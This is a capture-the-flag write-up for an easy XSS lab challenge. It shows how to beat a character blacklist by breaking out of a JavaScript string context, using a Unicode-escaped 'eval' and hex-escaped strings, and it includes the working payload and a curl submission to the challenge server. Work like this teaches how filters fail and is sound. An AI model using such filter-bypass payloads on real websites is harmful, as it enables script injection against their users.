Easy 6 - SiBears XSS School
Easy 6 - SiBears XSS School
Platform: spfctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-15 | Status: Solved Techniques: blacklist_bypass_via_encoding, comment_injection, hex_escape_in_strings, string_context_breakout, unicode_escape_in_identifiers
Summary
Task: XSS challenge with regex character blacklist filtering letters p,r,o,m,t,e and brackets. Solution: Bypass using JavaScript Unicode escapes (\u0065val) in identifiers and hex escapes (\x70) in strings to call eval(prompt("sibears")).
Easy 6 - SiBears XSS School — SPbCTF
Description
Attack our bot to get the flag! Solve the SiBears XSS level and submit your payload to this page.
Challenge URL: http://109.233.56.90:11659/xss/easy/6
The challenge is from the SiBears XSS School (xss.school.sibears.ru). The page at /xss/easy/6 contains a JavaScript escape function that filters user input and injects it into a <script> tag. A separate form at /xss/easy/6/form accepts a payload, which is sent to a bot that evaluates it. The goal is to execute prompt("sibears") in the browser.
Analysis
The Escape Function
javascript read-only • copy allowedfunction escape(s) { if (/p|r|o|m|t|e|\[|\]|!/i.test(s)) { s = ''; } return '<script> var a = "' + s + '";</scr' + 'ipt>'; }
The filter blocks (case-insensitive) the characters: p, r, o, m, t, e, [, ], !
This means:
- Can't write
prompt,eval,setTimeout,Function,document,window,self,this,alert,constructor, etc. directly - Can't use bracket notation
[]for property access - Can't use
!for logical NOT - Can't close
</script>tag in input since it contains blocked letters
Available Characters
Letters: a b c d f g h i j k l n q s u v w x y z (and uppercase equivalents)
All digits, and symbols: " ' \ ; + - * / = ( ) { } . , : ? & | ^ ~ < > @ # $ % _ and backtick
Solution
Key Insight 1: JavaScript Unicode Escapes in Identifiers
JavaScript allows Unicode escape sequences (\uXXXX) in identifier names. The characters \, u, 0, 6, 5 are all allowed by the filter. So \u0065val is parsed by the JS engine as eval — but the regex only sees the raw characters and doesn't match any blocked letter.
Key Insight 2: Hex Escapes in JS Strings
Inside a JavaScript string, \xNN hex escapes produce arbitrary characters. The raw characters \, x, and hex digits are all allowed by the filter. So "\x70\x72\x6f\x6d\x70\x74" is the string "prompt" but contains no blocked characters in the source.
Crafting the Payload
";\u0065val("\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)");//
After injection into the template, the browser sees:
html read-only • copy allowed<script> var a = "";\u0065val("\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)");//";</script>
Which the JS engine interprets as:
javascript read-only • copy allowedvar a = ""; eval("prompt(\"sibears\")"); //";
Breakdown
"— closes the string started by the template;— ends thevar astatement\u0065val(...)— JS Unicode escape:\u0065=e, so this iseval(...)"\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)"— hex-escaped string that decodes toprompt("sibears");//— semicolon ends the eval statement,//comments out the trailing";from the template
Hex Encoding Reference
| Character | Hex Code |
|---|---|
| p | \x70 |
| r | \x72 |
| o | \x6f |
| m | \x6d |
| t | \x74 |
| e | \x65 |
| " | \x22 |
Submission
The payload was URL-encoded and POSTed to the form endpoint:
bash read-only • copy allowedcurl -s -X POST 'http://109.233.56.90:11659/xss/easy/6/form' \ -d 'code=%22%3B%5Cu0065val(%22%5Cx70%5Cx72%5Cx6f%5Cx6d%5Cx70%5Cx74(%5Cx22sib%5Cx65a%5Cx72s%5Cx22)%22)%3B%2F%2F'
The server redirected to a checker page which confirmed: State is SUCCESS
Verification
Confirmed that the regex does NOT match the raw payload:
javascript read-only • copy allowed/p|r|o|m|t|e|\[|\]|!/i.test('";\u0065val("\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)");//') // → false (when tested as raw/literal string, not JS-interpreted)